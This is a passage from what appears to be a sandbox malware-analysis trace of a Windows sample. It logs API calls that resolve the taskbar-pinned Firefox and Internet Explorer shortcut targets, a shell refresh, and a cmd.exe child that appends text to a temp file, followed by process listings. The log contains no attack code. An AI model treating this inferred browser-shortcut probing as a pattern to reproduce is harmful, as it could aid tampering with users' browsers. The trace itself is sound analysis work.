lpString1=0x27d4408, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0119.637] lstrcpyW (in: lpString1=0x27d4c08, lpString2="GetLongPathNameW" | out: lpString1="GetLongPathNameW") returned="GetLongPathNameW" [0119.637] GetModuleHandleW (lpModuleName="kernel32") returned 0x769e0000 [0119.637] lstrcmpiW (lpString1="kernel32", lpString2="kernel32") returned 0 [0119.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0119.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x63a1e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetLongPathNameW", lpUsedDefaultChar=0x0) returned 17 [0119.637] GetProcAddress (hModule=0x769e0000, lpProcName="GetLongPathNameW") returned 0x769fa315 [0119.637] lstrcpyW (in: lpString1=0x27f61f8, lpString2="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0119.637] lstrcpynW (in: lpString1=0x27fa208, lpString2="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0119.637] lstrcpyW (in: lpString1=0x27f61f8, lpString2="" | out: lpString1="") returned="" [0119.637] lstrcpynW (in: lpString1=0x27fe218, lpString2="", iMaxLength=8196 | out: lpString1="") returned="" [0119.637] lstrcpyW (in: lpString1=0x27f21e0, lpString2="" | out: lpString1="") returned="" [0119.637] GetLongPathNameW (in: lpszShortPath="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpszLongPath=0x27fe218, cchBuffer=0x400 | out: lpszLongPath="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned 0x35 [0119.638] wsprintfW (in: param_1=0x27f21e0, param_2="%d" | out: param_1="1024") returned 4 [0119.638] lstrcpynW (in: lpString1=0x27f21e0, lpString2="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0119.638] lstrcpyW (in: lpString1=0x4c0088, lpString2="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0119.638] lstrcpynW (in: lpString1=0x27fe218, lpString2="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0119.638] wsprintfW (in: param_1=0x27f21e0, param_2="%d" | out: param_1="53") returned 2 [0119.638] lstrcpyW (in: lpString1=0x4bc080, lpString2="53" | out: lpString1="53") returned="53" [0119.641] GetShortCutTarget () returned 0x0 [0119.641] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x638598 [0119.641] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x63aad8 [0119.641] lstrcpyW (in: lpString1=0x638598, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" [0119.641] CoCreateInstance (in: rclsid=0x312064*(Data1=0x21401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x312044*(Data1=0x214f9, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18ee50 | out: ppv=0x18ee50*=0x6fca88) returned 0x0 [0119.642] ShellLink:IUnknown:QueryInterface (in: This=0x6fca88, riid=0x312074*(Data1=0x10b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ee3c | out: ppvObject=0x18ee3c*=0x6fca94) returned 0x0 [0119.642] ShellLink:IPersistFile:Load (This=0x6fca94, pszFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk", dwMode=0x2) returned 0x0 [0119.648] ShellLink:IShellLinkW:GetPath (in: This=0x6fca88, pszFile=0x638598, cch=260, pfd=0x18ebe8, fFlags=0x2 | out: pszFile="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", pfd=0x18ebe8) returned 0x0 [0119.648] ShellLink:IUnknown:Release (This=0x6fca94) returned 0x1 [0119.648] ShellLink:IUnknown:Release (This=0x6fca88) returned 0x0 [0119.648] lstrcpynW (in: lpString1=0x27da154, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0119.648] LocalFree (hMem=0x638598) returned 0x0 [0119.648] LocalFree (hMem=0x63aad8) returned 0x0 [0119.650] Call () returned 0x0 [0119.650] lstrcpyW (in: lpString1=0x27fe218, lpString2="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" | out: lpString1="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6") returned="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" [0119.650] lstrcpyW (in: lpString1=0x27fa208, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0119.650] lstrcpyW (in: lpString1=0x27d4408, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0119.650] lstrcpyW (in: lpString1=0x27d4c08, lpString2="GetLongPathNameW" | out: lpString1="GetLongPathNameW") returned="GetLongPathNameW" [0119.651] GetModuleHandleW (lpModuleName="kernel32") returned 0x769e0000 [0119.651] lstrcmpiW (lpString1="kernel32", lpString2="kernel32") returned 0 [0119.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0119.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x63a1e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetLongPathNameW", lpUsedDefaultChar=0x0) returned 17 [0119.651] GetProcAddress (hModule=0x769e0000, lpProcName="GetLongPathNameW") returned 0x769fa315 [0119.651] lstrcpyW (in: lpString1=0x27f61f8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0119.651] lstrcpynW (in: lpString1=0x27fa208, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0119.651] lstrcpyW (in: lpString1=0x27f61f8, lpString2="" | out: lpString1="") returned="" [0119.651] lstrcpynW (in: lpString1=0x27fe218, lpString2="", iMaxLength=8196 | out: lpString1="") returned="" [0119.651] lstrcpyW (in: lpString1=0x27f21e0, lpString2="" | out: lpString1="") returned="" [0119.651] GetLongPathNameW (in: lpszShortPath="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpszLongPath=0x27fe218, cchBuffer=0x400 | out: lpszLongPath="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 0x32 [0119.651] wsprintfW (in: param_1=0x27f21e0, param_2="%d" | out: param_1="1024") returned 4 [0119.651] lstrcpynW (in: lpString1=0x27f21e0, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0119.652] lstrcpyW (in: lpString1=0x4c0088, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0119.652] lstrcpynW (in: lpString1=0x27fe218, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0119.652] wsprintfW (in: param_1=0x27f21e0, param_2="%d" | out: param_1="50") returned 2 [0119.652] lstrcpyW (in: lpString1=0x4bc080, lpString2="50" | out: lpString1="50") returned="50" [0119.656] Call () returned 0x0 [0119.656] lstrcpyW (in: lpString1=0x6f2570, lpString2="shell32::SHChangeNotify(i 0x08000000, i 0, i 0, i 0)" | out: lpString1="shell32::SHChangeNotify(i 0x08000000, i 0, i 0, i 0)") returned="shell32::SHChangeNotify(i 0x08000000, i 0, i 0, i 0)" [0119.656] lstrcpyW (in: lpString1=0x6ee560, lpString2="shell32" | out: lpString1="shell32") returned="shell32" [0119.656] lstrcpyW (in: lpString1=0x27d4408, lpString2="shell32" | out: lpString1="shell32") returned="shell32" [0119.656] lstrcpyW (in: lpString1=0x27d4c08, lpString2="SHChangeNotify" | out: lpString1="SHChangeNotify") returned="SHChangeNotify" [0119.657] GetModuleHandleW (lpModuleName="shell32") returned 0x75890000 [0119.657] lstrcmpiW (lpString1="kernel32", lpString2="shell32") returned -1 [0119.657] lstrcmpiW (lpString1="kernel32.dll", lpString2="shell32") returned -1 [0119.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SHChangeNotify", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0119.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SHChangeNotify", cchWideChar=-1, lpMultiByteStr=0x628ac8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SHChangeNotify", lpUsedDefaultChar=0x0) returned 15 [0119.657] GetProcAddress (hModule=0x75890000, lpProcName="SHChangeNotify") returned 0x758e7965 [0119.657] lstrcpyW (in: lpString1=0x6e6538, lpString2="" | out: lpString1="") returned="" [0119.658] SHChangeNotify (wEventId=134217728, uFlags=0x0, dwItem1=0x0, dwItem2=0x0) [0119.663] wsprintfW (in: param_1=0x6e6538, param_2="%d" | out: param_1="0") returned 1 [0119.663] wsprintfW (in: param_1=0x6e6538, param_2="%d" | out: param_1="0") returned 1 [0119.663] wsprintfW (in: param_1=0x6e6538, param_2="%d" | out: param_1="0") returned 1 [0119.663] wsprintfW (in: param_1=0x6e6538, param_2="%d" | out: param_1="134217728") returned 9 [0119.663] lstrcpyW (in: lpString1=0x6e6538, lpString2="" | out: lpString1="") returned="" Thread: id = 284 os_tid = 0xb1c Thread: id = 286 os_tid = 0xb30 Process: id = "18" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x3995e000" os_pid = "0xaec" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x370" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Local Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00062787" [0xc000000f] Thread: id = 274 os_tid = 0xb60 Thread: id = 275 os_tid = 0xb50 Thread: id = 276 os_tid = 0x570 Thread: id = 277 os_tid = 0xa3c Thread: id = 278 os_tid = 0xa38 Thread: id = 279 os_tid = 0xa2c Thread: id = 280 os_tid = 0xae8 Thread: id = 512 os_tid = 0x520 Process: id = "19" image_name = "trustedinstaller.exe" filename = "c:\\windows\\servicing\\trustedinstaller.exe" page_root = "0x2c8e9000" os_pid = "0xb6c" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "16" os_parent_pid = "0x944" cmd_line = "C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\TrustedInstaller" [0xe], "NT AUTHORITY\\Logon Session 00000000:00063b38" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 288 os_tid = 0x70c Thread: id = 289 os_tid = 0x7c4 Thread: id = 290 os_tid = 0x7b0 Thread: id = 291 os_tid = 0xb94 Thread: id = 292 os_tid = 0xbac Thread: id = 293 os_tid = 0xba8 Thread: id = 294 os_tid = 0xba4 Thread: id = 529 os_tid = 0x394 Thread: id = 548 os_tid = 0x948 Thread: id = 578 os_tid = 0x34c Thread: id = 584 os_tid = 0x944 Process: id = "20" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x35a39000" os_pid = "0x250" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 295 os_tid = 0x310 [0126.214] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bfd70 | out: lpSystemTimeAsFileTime=0x2bfd70*(dwLowDateTime=0xf3e225d0, dwHighDateTime=0x1d51ed4)) [0126.214] GetCurrentProcessId () returned 0x250 [0126.214] GetCurrentThreadId () returned 0x310 [0126.214] GetTickCount () returned 0x2c37d [0126.214] QueryPerformanceCounter (in: lpPerformanceCount=0x2bfd78 | out: lpPerformanceCount=0x2bfd78*=25073884016) returned 1 [0126.215] GetModuleHandleW (lpModuleName=0x0) returned 0x4a710000 [0126.215] __set_app_type (_Type=0x1) [0126.215] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a737810) returned 0x0 [0126.215] __getmainargs (in: _Argc=0x4a75a608, _Argv=0x4a75a618, _Env=0x4a75a610, _DoWildCard=0, _StartInfo=0x4a73e0f4 | out: _Argc=0x4a75a608, _Argv=0x4a75a618, _Env=0x4a75a610) returned 0 [0126.216] GetCurrentThreadId () returned 0x310 [0126.216] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x310) returned 0x3c [0126.216] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0126.216] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0126.216] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0126.216] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0126.216] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfd08 | out: phkResult=0x2bfd08*=0x0) returned 0x2 [0126.216] VirtualQuery (in: lpAddress=0x2bfcf0, lpBuffer=0x2bfc70, dwLength=0x30 | out: lpBuffer=0x2bfc70*(BaseAddress=0x2bf000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0126.216] VirtualQuery (in: lpAddress=0x1c0000, lpBuffer=0x2bfc70, dwLength=0x30 | out: lpBuffer=0x2bfc70*(BaseAddress=0x1c0000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0126.216] VirtualQuery (in: lpAddress=0x1c1000, lpBuffer=0x2bfc70, dwLength=0x30 | out: lpBuffer=0x2bfc70*(BaseAddress=0x1c1000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0126.217] VirtualQuery (in: lpAddress=0x1c4000, lpBuffer=0x2bfc70, dwLength=0x30 | out: lpBuffer=0x2bfc70*(BaseAddress=0x1c4000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0126.217] VirtualQuery (in: lpAddress=0x2c0000, lpBuffer=0x2bfc70, dwLength=0x30 | out: lpBuffer=0x2bfc70*(BaseAddress=0x2c0000, AllocationBase=0x2c0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x7000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0126.217] GetConsoleOutputCP () returned 0x1b5 [0126.217] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a74bfe0 | out: lpCPInfo=0x4a74bfe0) returned 1 [0126.217] SetConsoleCtrlHandler (HandlerRoutine=0x4a733184, Add=1) returned 1 [0126.217] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.217] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0126.217] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.217] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a73e194 | out: lpMode=0x4a73e194) returned 1 [0126.218] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.218] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0126.218] _get_osfhandle (_FileHandle=0) returned 0x3 [0126.218] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a73e198 | out: lpMode=0x4a73e198) returned 1 [0126.218] _get_osfhandle (_FileHandle=0) returned 0x3 [0126.218] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0126.218] GetEnvironmentStringsW () returned 0x3c9ab0* [0126.218] GetProcessHeap () returned 0x3b0000 [0126.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xa78) returned 0x3ca530 [0126.218] FreeEnvironmentStringsW (penv=0x3c9ab0) returned 1 [0126.218] GetProcessHeap () returned 0x3b0000 [0126.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3cafb0 [0126.218] GetEnvironmentStringsW () returned 0x3c9ab0* [0126.218] GetProcessHeap () returned 0x3b0000 [0126.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xa78) returned 0x3cafd0 [0126.219] FreeEnvironmentStringsW (penv=0x3c9ab0) returned 1 [0126.219] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2bebc8 | out: phkResult=0x2bebc8*=0x44) returned 0x0 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x0, lpData=0x2bebe0*=0x18, lpcbData=0x2bebc4*=0x1000) returned 0x2 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x4, lpData=0x2bebe0*=0x1, lpcbData=0x2bebc4*=0x4) returned 0x0 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x0, lpData=0x2bebe0*=0x1, lpcbData=0x2bebc4*=0x1000) returned 0x2 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x4, lpData=0x2bebe0*=0x0, lpcbData=0x2bebc4*=0x4) returned 0x0 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x4, lpData=0x2bebe0*=0x40, lpcbData=0x2bebc4*=0x4) returned 0x0 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x4, lpData=0x2bebe0*=0x40, lpcbData=0x2bebc4*=0x4) returned 0x0 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x0, lpData=0x2bebe0*=0x40, lpcbData=0x2bebc4*=0x1000) returned 0x2 [0126.219] RegCloseKey (hKey=0x44) returned 0x0 [0126.219] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2bebc8 | out: phkResult=0x2bebc8*=0x44) returned 0x0 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x0, lpData=0x2bebe0*=0x40, lpcbData=0x2bebc4*=0x1000) returned 0x2 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x4, lpData=0x2bebe0*=0x1, lpcbData=0x2bebc4*=0x4) returned 0x0 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x0, lpData=0x2bebe0*=0x1, lpcbData=0x2bebc4*=0x1000) returned 0x2 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x4, lpData=0x2bebe0*=0x0, lpcbData=0x2bebc4*=0x4) returned 0x0 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x4, lpData=0x2bebe0*=0x9, lpcbData=0x2bebc4*=0x4) returned 0x0 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x4, lpData=0x2bebe0*=0x9, lpcbData=0x2bebc4*=0x4) returned 0x0 [0126.219] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2bebc0, lpData=0x2bebe0, lpcbData=0x2bebc4*=0x1000 | out: lpType=0x2bebc0*=0x0, lpData=0x2bebe0*=0x9, lpcbData=0x2bebc4*=0x1000) returned 0x2 [0126.219] RegCloseKey (hKey=0x44) returned 0x0 [0126.219] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2085 [0126.219] srand (_Seed=0x5cfd2085) [0126.219] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0126.219] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0126.220] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a74c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0126.220] GetProcessHeap () returned 0x3b0000 [0126.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x218) returned 0x3cba50 [0126.220] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cba60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0126.220] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a73f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0126.220] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a73f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0126.220] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a73f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0126.220] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0126.220] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0126.220] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0126.220] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0126.220] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0126.220] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0126.220] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0126.220] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0126.220] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0126.220] GetProcessHeap () returned 0x3b0000 [0126.220] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca530 | out: hHeap=0x3b0000) returned 1 [0126.220] GetEnvironmentStringsW () returned 0x3c9ab0* [0126.221] GetProcessHeap () returned 0x3b0000 [0126.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xa90) returned 0x3cc710 [0126.221] FreeEnvironmentStringsW (penv=0x3c9ab0) returned 1 [0126.221] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a73f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.221] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a73f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0126.221] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0126.221] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0126.221] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0126.221] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0126.221] _wcsicmp 